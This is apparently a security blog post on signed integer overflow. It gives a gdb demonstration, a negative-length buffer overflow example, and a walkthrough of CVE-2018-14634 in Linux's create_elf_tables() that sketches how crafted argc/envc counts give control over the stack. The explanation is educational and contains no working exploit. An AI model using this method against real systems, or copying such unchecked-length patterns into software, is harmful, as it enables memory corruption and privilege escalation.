OS - Ubuntu 18.04 ( 32 Bit )
OS - CentOS 7 ( 64 Bit)
"What happens if .....?"
Here,  very basic question - what happens if some operation attempts to cross mentioned Integer type boundary ? In this case, the result of simple arithmetic operations cannot be stored in variable as it is in resulting representation.

For our discussion, we are only concerned about "signed" numbers. As per above integer type table, maximum positive value hold by "int" or "signed integer"  is decimal 2147483647 i.e. 0x7FFFFFFF. If we add 1 into this number the result is 0x80000000 which is a maximum negative number accepted by "signed integer" i.e. -2147483648. In short, large positive number plus small positive number resulted into large negative number and vice versa for negative values.

 (gdb) list   
 1     void main()  
 2     {  
 3          int a ;  
 4          a = 0x7FFFFFFF;  
 5          a = a + 0x01;  
 6       
 7     }  
 (gdb) s  
 5          a = a + 0x01;  
 (gdb) x &a  
 0xbffff534:     0x7fffffff  
 (gdb) s  
 7     }  
 (gdb) x &a  
 0xbffff534:     0x80000000  
 (gdb) print /d a  
 $1 = -2147483648  
 (gdb)   

We can see that when operation results crossed maximum positive integer value, number is converted into negative value. Similarly, as operation can overflow boundary of signed positive number , some operations can also result into underflow issues.

Impact:
Boundary overflow and type conversion related subtle issues cause major security impact on resource sensitive operations such as memory management. Due to value wrapping, we can trick program to assign additional memory chunk than what is expected. In short , we can influence program's memory management routines.

For example -
 len = packet_read_field(sfd) ;  
 read_data(sfd, buffer, len);  
In above example , consider read_data works similar to how read(2) works. If user craft  packet with negative value into specific field, then value of "signed length" variable will be negative. Now when this value is used to read data , this negative value is passed into read_data() function which expects 3rd argument "len" to be size_t i.e. unsigned integer value.  In this case type conversion operation takes place and  negative value of "len" is converted into positive unsigned integer and passed to read_data() function.  End result, program will read huge number of data from input and place it into buffer. This will lead to overflow and unexpected security exposures.

Example Vulnerability:

CVE-2018-14634 - Mutagen Astronomy: Integer overflow in Linux's create_elf_tables()

Recently, Qualys released security advisory for "Integer Overflow" issue in create_elf_tables() function.
Let's analyze the vulnerable function create_elf_tables() in binfmt_elf.c
  150 #define STACK_ROUND(sp, items) \  
  151     (((unsigned long) (sp - items)) &~ 15UL)  
  ...  
  165 create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec,  
  ...  
  169     int argc = bprm->argc;  
  170     int envc = bprm->envc;  
  171     elf_addr_t __user *sp;  
  ...  
  178     int items;  
  ...  
  190     p = arch_align_stack(p);  
  ...  
  287     items = (argc + 1) + (envc + 1) + 1;  
  288     bprm->p = STACK_ROUND(sp, items);  
  ...  
  295     sp = (elf_addr_t __user *)bprm->p;  

It line 287 code performs some arithmetic operation -
items = (argc + 1) + (envc + 1) + 1;  
where -
argc:
- Part of "linux_binprm" structure, this structure is used to hold the arguments that are used when loading binaries.
- It represents - Maximum number of argument strings passed to execve()
- Which is defined as #define MAX_ARG_STRINGS 0x7FFFFFFF
envc:
- Part of "linux_binprm" structure, this structure is used to hold the arguments that are used when loading binaries.
- It represents - Maximum number of environment variable strings passed to execve()
- It is defined as -
bprm->envc = count(envp, MAX_ARG_STRINGS);
#define MAX_ARG_STRINGS 0x7FFFFFFF

The good news is - "argc" and "envc" both values can be controlled. So for exploitation we need to craft huge "argc" and "envc" values and overflow "signed - items" value , which will then becomes negative. This value is later used for some stack related operations , so gives control over stack manipulation. This control is very useful in later phase of exploitation.
  150 #define STACK_ROUND(sp, items) \  
  151     (((unsigned long) (sp - items)) &~ 15UL)  
For detailed technical advisory please check - CVE-2018-14634.

Previous Posts